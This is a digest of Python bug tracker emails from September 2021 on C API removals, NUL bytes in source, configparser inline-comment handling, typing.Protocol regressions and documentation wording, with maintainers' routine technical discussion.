From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 06 Sep 2021 22:45:03 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630968303.09.0.378388883527.issue45122@roundup.psfhosted.org>


Guido van Rossum  added the comment:

PS. It would be nice to also update Cython, which is the only thing that uses these C APIs.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:17:00 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 23:17:00 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630970220.41.0.0602262548365.issue45122@roundup.psfhosted.org>


STINNER Victor  added the comment:

If possible, I suggest to do in in this order:

* Fix Cython
* Publish a Cython release including the fix
* (Maybe wait a bit)
* Remove the two functions

Previously, we tried to first modified Python, and then update Cython: it went bad.

Otherwise, the following 136 popular PyPI packages will fail to build on Python 3.11:
https://mail.python.org/archives/list/python-dev at python.org/message/6RO2WFU5Q7UQDVL72IRMT4T6L4GEAKB6/

In Fedora, we start to integrate Python 3.11 since alpha 1. In the past, the broken Cython was really annoying: many important packages failed to build, and so everything was broken. Hopefully, we can now patch Cython, and we modified most recipes building Python packages to always regenerate Cython source, to avoid such problem.

----------
nosy: +vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:21:06 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 23:21:06 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630970466.52.0.868234875316.issue45122@roundup.psfhosted.org>


STINNER Victor  added the comment:

I understood that these function calls shoud be replaced with:

* PyCode_NewEmpty(const char *filename, const char *funcname, int firstlineno)
* code.replace() method: https://docs.python.org/dev/library/types.html#types.CodeType.replace

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:24:35 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 06 Sep 2021 23:24:35 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630970675.97.0.424131958679.issue45122@roundup.psfhosted.org>


Guido van Rossum  added the comment:

That sounds like a good plan (note that alpha 1 will go out around Oct 4).

I left an issue for Cython: https://github.com/cython/cython/issues/4365

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:29:59 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 06 Sep 2021 23:29:59 +0000
Subject: [issue20115] NUL bytes in commented lines
In-Reply-To: <1388771953.42.0.332804570753.issue20115@psf.upfronthosting.co.za>
Message-ID: <1630970999.39.0.699076087761.issue20115@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

The compile() doc currently says ""This function raises SyntaxError if the compiled source is invalid, and ValueError if the source contains null bytes."  And indeed, in repository 3.9, 3.10, 3.11,

>>> compile('\0','','exec')
Traceback (most recent call last):
  File "", line 1, in 
ValueError: source code string cannot contain null bytes

Ditto when run same in a file from IDLE or command line.  The exception sometimes when the null is in a comment or string within the code.

>>> '\0'
'\x00'
>>> #\0
>>> compile('#\0','','single', 0x200)
Traceback (most recent call last):
  File "", line 1, in 
ValueError: source code string cannot contain null bytes
>>> compile('"\0"','','single', 0x200)
ValueError: source code string cannot contain null bytes

I am puzzled because "\0" and #\0 in the IDLE shell are sent as strings containing the string or comment to compiled with the call above in codeop.  There must be some difference in when \0 is interpreted.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:30:10 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 23:30:10 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1630971010.17.0.332008257263.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

bench.py: pyperf benchmarks on BaseException_dealloc().

Benchmarks results on PR 28190 on Fedora 34 with LTO (I didn't use PGO nor CPU pinning). It says "faster" but it's likely noise in the build or in the benchmark (again, I didn't use CPU pinning, and I used my laptop while the benchmark was running. IMO it means that the trashcan overhead is not significant on this benchmark.

$ python3 -m pyperf compare_to ref.json trashcan.json --table
+----------------+---------+-----------------------+
| Benchmark      | ref     | trashcan              |
+================+=========+=======================+
| list 10_000    | 1.27 ms | 1.18 ms: 1.08x faster |
+----------------+---------+-----------------------+
| chain 10_000   | 3.94 ms | 3.89 ms: 1.01x faster |
+----------------+---------+-----------------------+
| Geometric mean | (ref)   | 1.01x faster          |
+----------------+---------+-----------------------+

Benchmark hidden because not significant (6): list 10, list 100, list 1000, chain 10, chain 100, chain 1000

----------
Added file: https://bugs.python.org/file50266/bench.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:31:23 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 23:31:23 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1630971083.58.0.426597898925.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

Using trashcan, it's possible to create a long longer than 10 000 exceptions. But currently, Python does crash in this case, so I stopped the benchmark at 10 000.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 19:34:52 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 06 Sep 2021 23:34:52 +0000
Subject: [issue20115] NUL bytes in commented lines
In-Reply-To: <1388771953.42.0.332804570753.issue20115@psf.upfronthosting.co.za>
Message-ID: <1630971292.41.0.931349690409.issue20115@roundup.psfhosted.org>


Guido van Rossum  added the comment:

Which part puzzles you?

I see that you tried

>>> #\0

This does not contain a null byte, just three characters: a hash, a backslash, and a digit zero.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 20:41:05 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 07 Sep 2021 00:41:05 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1630975265.77.0.965217801544.issue45121@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Possibly related to issue 45081, which ended up not having anything to do with dataclasses (despite the title).

Can you check if that fix solves your problem?

----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 21:14:18 2021
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Tue, 07 Sep 2021 01:14:18 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1630977258.7.0.984926953722.issue45104@roundup.psfhosted.org>


Vedran ?a?i?  added the comment:

The first variant seems best to me.

----------
nosy: +veky

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 21:24:08 2021
From: report at bugs.python.org (Shantanu)
Date: Tue, 07 Sep 2021 01:24:08 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1630977848.12.0.32324115901.issue45121@roundup.psfhosted.org>


Shantanu  added the comment:

As I mentioned in the post, bpo-45081 actually makes this issue worse, since we get a RecursionError.

I think `TypeError: Protocols cannot be instantiated` is probably okay behaviour (as opposed to RecursionError), more just unfortunate that it seems to be an unanticipated breaking change.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 21:27:22 2021
From: report at bugs.python.org (Shantanu)
Date: Tue, 07 Sep 2021 01:27:22 +0000
Subject: [issue45121] Regression in 3.9.7 with typing.Protocol
In-Reply-To: <1630965920.35.0.627159261173.issue45121@roundup.psfhosted.org>
Message-ID: <1630978042.17.0.905463573325.issue45121@roundup.psfhosted.org>


Shantanu  added the comment:

Sorry if my message was confusing. Hopefully the following makes things clear:

3.9.6: snippet runs without error

3.9.7, with bpo-44806: (a probably reasonable) TypeError, but a breaking change

main, with bpo-45081: RecursionError

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 21:28:55 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 07 Sep 2021 01:28:55 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630978135.76.0.0468201212855.issue45122@roundup.psfhosted.org>


Change by Dong-hee Na :


----------
nosy: +corona10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 21:31:05 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 07 Sep 2021 01:31:05 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630978265.24.0.173618014869.issue45122@roundup.psfhosted.org>


Dong-hee Na  added the comment:

FYI, mypyc is using PyCode_New.
mypyc should be fixed not to use PyCode_New :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 22:19:06 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 07 Sep 2021 02:19:06 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630981146.21.0.795664964231.issue45115@roundup.psfhosted.org>


Dong-hee Na  added the comment:

I sent the patch for this issue: https://github.com/python/mypy/pull/11067

----------
nosy: +corona10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 22:19:21 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 07 Sep 2021 02:19:21 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630981161.38.0.456908271603.issue45115@roundup.psfhosted.org>


Change by Dong-hee Na :


----------
Removed message: https://bugs.python.org/msg401202

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 22:19:33 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 07 Sep 2021 02:19:33 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630981173.91.0.978085101949.issue45122@roundup.psfhosted.org>


Dong-hee Na  added the comment:

I sent the patch for this issue: https://github.com/python/mypy/pull/11067

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 23:02:20 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 07 Sep 2021 03:02:20 +0000
Subject: [issue20115] NUL bytes in commented lines
In-Reply-To: <1388771953.42.0.332804570753.issue20115@psf.upfronthosting.co.za>
Message-ID: <1630983740.92.0.574822018738.issue20115@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

What I missed before is that duplicating the effect of the first two interactive entries (no exception) requires escaping the backslash so that the source argument for the explicit compile does not have a null. 

compile("'\\0'", '', 'exec')
 at 0x00000214431CAA20, file "", line 1>
compile("#\\0", '', 'exec')
 at 0x00000214431CAC30, file "", line 1>

So I did not actually see an exception to the rule.
---

*On Win 10*, I experimented with a version of Armin and Irit's example, without and with b'...' and 'wb'.

s = '#\x00\na\nb\n' 
print(len(s))  # 7
with open("f:/Python/a/nulltest.py", 'w') as f:
  f.write(s)
import nulltest

When I ran a local repository build of 3.9, 3.10, or 3.11 with
  f:\dev\3x>python f:/Python/a/nulltest.py
I got Irit's strange NameError instead of the proper ValueError.

When I ran with installed 3.9 or 3.10 with
  py -3.10 -m a.nulltest
I got the null-byte ValueError.

When I ran from IDLE's editor running on either installed or repository python, the import gave the null-byte ValueError.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 23:48:23 2021
From: report at bugs.python.org (Nirawat Puechpian)
Date: Tue, 07 Sep 2021 03:48:23 +0000
Subject: [issue44892] [configparser] Module configparser fails when the config
 file contains a0918076336 "100%" inside a commentary
In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org>
Message-ID: <1630986503.08.0.509828309738.issue44892@roundup.psfhosted.org>


Change by Nirawat Puechpian :


----------
assignee:  -> terry.reedy
components: +Extension Modules, FreeBSD, IDLE, IO, Installation, Interpreter Core, SSL, Subinterpreters, Tests, Tkinter, Windows, XML, macOS -Library (Lib)
nosy: +koobs, ned.deily, paul.moore, ronaldoussoren, steve.dower, terry.reedy, tim.golden, zach.ware -DiddiLeija, lukasz.langa, uranusjr
title: [configparser] Module configparser fails when the config file contains a "%" inside a commentary -> [configparser] Module configparser fails when the config file contains a0918076336 "100%" inside a commentary
type: behavior -> enhancement
versions: +Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 00:48:42 2021
From: report at bugs.python.org (Dennis Sweeney)
Date: Tue, 07 Sep 2021 04:48:42 +0000
Subject: [issue45117] `dict` not subscriptable despite using `__future__`
 typing annotations
In-Reply-To: <1630944704.92.0.838059763947.issue45117@roundup.psfhosted.org>
Message-ID: <1630990122.16.0.340608608663.issue45117@roundup.psfhosted.org>


Dennis Sweeney  added the comment:

Hi Stefan,

`from __future__ import annotations` only affects annotations -- just the things after the colon. It makes it so that annotations are never evaluated, so things like this work:

    >>> from __future__ import annotations
    >>> x: nonsense()()()()[other_nonsense](1<2>3)

The __future__ import is not a wholesale opt-in-to-all-new-typing-features, it's just an opt-in-to-not-evaluate-annotations.

dict.__class_getitem__ (which is what gets called when you type dict[str, Any]) was not added at all until Python 3.9 (GH-18239), so if you want to *evaluate* such expressions, you have to upgrade to 3.9+. In 3.8, use typing.Dict instead -- 3.8 is no longer accepting new features.

Thanks for the report, but I'm closing this for now.

----------
nosy: +Dennis Sweeney
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 00:50:40 2021
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 07 Sep 2021 04:50:40 +0000
Subject: [issue45123] PyAiter_Check & PyObject_GetAiter issues
Message-ID: <1630990240.1.0.111200047499.issue45123@roundup.psfhosted.org>


New submission from Yury Selivanov :

Per discussion on python-dev (also see the linked email), PyAiter_Check should only check for `__anext__` existence (and not for `__aiter__`) to be consistent with `Py_IterCheck`.

While there, I'd like to rename PyAiter_Check to PyAIter_Check and PyObject_GetAiter to PyObject_GetAIter (i -> I).  First, we should apply CamelCase convention correctly, here "async" and "iter" are separate words; second, "Aiter" is marked as invalid spelling by spell checkers in IDEs which is annoying.

See https://mail.python.org/archives/list/python-dev at python.org/message/BRHMOFPEKGQCCKEKEEKGSYDR6NOPMRCC/ for more details.

----------
components: Interpreter Core
messages: 401206
nosy: pablogsal, yselivanov
priority: release blocker
severity: normal
stage: patch review
status: open
title: PyAiter_Check & PyObject_GetAiter issues
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 00:55:48 2021
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 07 Sep 2021 04:55:48 +0000
Subject: [issue45123] PyAiter_Check & PyObject_GetAiter issues
In-Reply-To: <1630990240.1.0.111200047499.issue45123@roundup.psfhosted.org>
Message-ID: <1630990548.61.0.690978900236.issue45123@roundup.psfhosted.org>


Change by Yury Selivanov :


----------
keywords: +patch
pull_requests: +26618
pull_request: https://github.com/python/cpython/pull/28194

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 01:08:34 2021
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 07 Sep 2021 05:08:34 +0000
Subject: [issue44892] [configparser] Module configparser fails when the config
 file contains a "%" inside a commentary
In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org>
Message-ID: <1630991314.75.0.301881740509.issue44892@roundup.psfhosted.org>


Change by Kubilay Kocak :


----------
assignee: terry.reedy -> 
components: +Library (Lib) -Extension Modules, FreeBSD, IDLE, IO, Installation, Interpreter Core, SSL, Subinterpreters, Tests, Tkinter, Windows, XML, macOS
nosy: +lukasz.langa -koobs, ned.deily, paul.moore, ronaldoussoren, steve.dower, terry.reedy, tim.golden, zach.ware
title: [configparser] Module configparser fails when the config file contains a0918076336 "100%" inside a commentary -> [configparser] Module configparser fails when the config file contains a "%" inside a commentary
type: enhancement -> behavior
versions:  -Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 01:15:36 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 07 Sep 2021 05:15:36 +0000
Subject: [issue44892] Configparser fails when the file contains $ inside a
 comment
In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org>
Message-ID: <1630991736.91.0.721136039708.issue44892@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

Diego, I repaired the defacement, which included removing you as nosy.

Relevant doc: https://docs.python.org/3/library/configparser.html#configparser.BasicInterpolation

To me, the following line implies that % may be used freely in comments.
  gain: 80%%  # use a %% to escape the % sign (% is the only character ...
However, IDLE uses .cfg files and configparser, and when I added #% to my C:/Users/Terry/.idlerc/config-main.cfg, IDLE startup fails with the following, confirming the behavior.

Traceback (most recent call last):
  File "f:\dev\3x\lib\runpy.py", line 196, in _run_module_as_main
    return _run_code(code, main_globals, None,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\runpy.py", line 86, in _run_code
    exec(code, run_globals)
    ^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\__main__.py", line 7, in 
    idlelib.pyshell.main()
    ^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\pyshell.py", line 1648, in main
    shell = flist.open_shell()
            ^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\pyshell.py", line 335, in open_shell
    self.pyshell = PyShell(self)
                   ^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\pyshell.py", line 898, in __init__
    OutputWindow.__init__(self, flist, None, None)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\outwin.py", line 79, in __init__
    EditorWindow.__init__(self, *args)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\editor.py", line 215, in __init__
    text['font'] = idleConf.GetFont(self.root, 'main', 'EditorWindow')
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\config.py", line 742, in GetFont
    bold = self.GetOption(configType, section, 'font-bold', default=0,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\config.py", line 229, in GetOption
    return self.userCfg[configType].Get(section, option,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\idlelib\config.py", line 61, in Get
    return self.getboolean(section, option)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\configparser.py", line 829, in getboolean
    return self._get_conv(section, option, self._convert_to_boolean,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\configparser.py", line 809, in _get_conv
    return self._get(section, conv, option, raw=raw, vars=vars,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\configparser.py", line 804, in _get
    return conv(self.get(section, option, **kwargs))
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\configparser.py", line 800, in get
    return self._interpolation.before_get(self, section, option, value,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\configparser.py", line 395, in before_get
    self._interpolate_some(parser, option, L, value, section, defaults, 1)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "f:\dev\3x\lib\configparser.py", line 442, in _interpolate_some
    raise InterpolationSyntaxError(
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
configparser.InterpolationSyntaxError: '%' must be followed by '%' or '(', found: '%'

When changed one of the lines in my file see what a valid interpolation would do,
   font-size = 12  # for %(font)s
I got

"Warning: config.py - IdleConf.GetOption -
 invalid 'int' value for configuration option 'font-size'
 from section 'EditorWindow': '12  # for source code pro'"

configparser interpreted the comment as part of the value, and started IDLE with the default size 10.
The same happened when I used %%: the bad value was '12  # for %'
And again with just '#'.  Values read as string are also disabled by '#'.
"name = Custom Dark # %(parenstyle)s" resulted in the default light theme.
Conclusion: 1. Comments are currently worse than useless. 2. Test suite is deficient.

Diego, good PRs are welcome.  Please sign CLA first.  For this, the problem is comments not being recognized and stripped.  Fix that and % in comments will not be an issue.

----------
nosy: +DiddiLeija, terry.reedy, uranusjr, zach.ware
stage:  -> needs patch
title: [configparser] Module configparser fails when the config file contains a "%" inside a commentary -> Configparser fails when the file contains $ inside a comment
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 01:32:27 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 07 Sep 2021 05:32:27 +0000
Subject: [issue20115] NUL bytes in commented lines
In-Reply-To: <1388771953.42.0.332804570753.issue20115@psf.upfronthosting.co.za>
Message-ID: <1630992747.77.0.148740499781.issue20115@roundup.psfhosted.org>


Guido van Rossum  added the comment:

Serhiy?s comment from 2014-01-04 gives the answer. It?s different reading from a file than from a string. And only ?python x.py? still reads from a file.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 01:41:25 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 07 Sep 2021 05:41:25 +0000
Subject: [issue44892] Configparser fails when the .cfg file contains comments
In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org>
Message-ID: <1630993285.77.0.373210898877.issue44892@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

Make PR branch from main, which I used for testing. I verified issue on 3.10 and 3.9, so we will backport.

----------
stage: needs patch -> test needed
title: Configparser fails when the file contains $ inside a comment -> Configparser fails when the .cfg file contains comments
versions: +Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 02:00:42 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 07 Sep 2021 06:00:42 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1630994442.57.0.972244751421.issue45104@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

I would be happy with just "instance of cls".  Elsewhere in the docs, that phrasing almost always means "instance of a cls or instance of a subclass of cls".  Also, it is consistent with the meaning of isinstance(inst, cls) unless overridden by ABC logic.

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 02:01:03 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 07 Sep 2021 06:01:03 +0000
Subject: [issue44892] Configparser fails when the .cfg file contains comments
In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org>
Message-ID: <1630994463.22.0.436674678111.issue44892@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

By default configparser does not support inline comments. "#  percentage sign '%'" is a part of value. If you want to support inline comments you should pass the inline_comment_prefixes argument.

But note that it can break parsing existing valid config files containing such prefixes. For example "background=#ffffff" or "path=C:\Python\bin;D:\Users\Me\bin" if use standard comment prefixes "#" and ";". This is why it is disabled by default.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 02:15:47 2021
From: report at bugs.python.org (da-woods)
Date: Tue, 07 Sep 2021 06:15:47 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1630995347.92.0.11874316845.issue45122@roundup.psfhosted.org>


da-woods  added the comment:

Nuitka (https://github.com/Nuitka/Nuitka/ - a third Python->C API compiler) also looks to use it so you might want to let them know too while you're doing the rounds on this.

----------
nosy: +da-woods

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 02:19:33 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 07 Sep 2021 06:19:33 +0000
Subject: [issue38644] Pass explicitly tstate to function calls
In-Reply-To: <1572445884.39.0.966254854932.issue38644@roundup.psfhosted.org>
Message-ID: <1630995573.73.0.901906324389.issue38644@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

This adds cost to our most critical code paths.  For example, type_call() will now be slower for every single object instantiation.

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 02:52:24 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 07 Sep 2021 06:52:24 +0000
Subject: [issue45104] Error in __new__ docs
In-Reply-To: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org>
Message-ID: <1630997544.76.0.146148231789.issue45104@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

I concur with Raymond. Originally it was "instance of cls". It was changed in issue15542 (6b16d938d6d1ccb443815e20e8812deed274dc09).

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 04:40:33 2021
From: report at bugs.python.org (Keuin)
Date: Tue, 07 Sep 2021 08:40:33 +0000
Subject: [issue42627] urllib.request.getproxies() misparses Windows registry
 proxy settings
In-Reply-To: <1607804872.9.0.5170746987.issue42627@roundup.psfhosted.org>
Message-ID: <1631004033.67.0.62095576568.issue42627@roundup.psfhosted.org>


Keuin  added the comment:

The fix is available as a pull request on GitHub for months (https://github.com/python/cpython/pull/26307). However, it seems that this pull request needs an approval from one maintainer before running any test. Could anyone help this out?

----------
nosy: +keuin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 05:08:40 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 09:08:40 +0000
Subject: [issue45124] Remove deprecated bdist_msi command
Message-ID: <1631005719.97.0.212991443867.issue45124@roundup.psfhosted.org>


New submission from Hugo van Kemenade :

The bdist_msi command was deprecated in Python 3.9 by bpo-39586 (commit 2d65fc940b897958e6e4470578be1c5df78e319a).

It can be removed in Python 3.11.

PR to follow.

----------
components: Distutils
messages: 401216
nosy: dstufft, eric.araujo, hugovk
priority: normal
severity: normal
status: open
title: Remove deprecated bdist_msi command
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 05:11:37 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 09:11:37 +0000
Subject: [issue45124] Remove deprecated bdist_msi command
In-Reply-To: <1631005719.97.0.212991443867.issue45124@roundup.psfhosted.org>
Message-ID: <1631005897.88.0.636467712417.issue45124@roundup.psfhosted.org>


Change by Hugo van Kemenade :


----------
keywords: +patch
pull_requests: +26619
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28195

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 05:36:50 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 09:36:50 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631007410.14.0.732624478594.issue44860@roundup.psfhosted.org>


Petr Viktorin  added the comment:

Marking as *potential* release blocker for 3.10.

Pablo, without this change the newest pip (with [PR 10358]) will not work on Python 3.10 built --with-platlibdir.
This configure option was added in 3.9 for distros that separate `/usr/lib` and `/usr/lib64`, which used downstream patches before.
Things will be broken if:
* this bug is not fixed in 3.10
* AND `pip` switches to _USE_SYSCONFIG in 3.10 (with merged [PR 10358])
* AND distros don't patch again.

So, if this isn't merged in 3.10, either pip or downstreams will need to implement a workaround. (If pip doesn't hold off, downstreams that build  --with-platlibdir will likely carry this exact patch.)
On the other hand, we're very late in the release cycle.

Note that there's a similar bug in bpo-45035

[PR 10358]: https://github.com/pypa/pip/pull/10358

----------
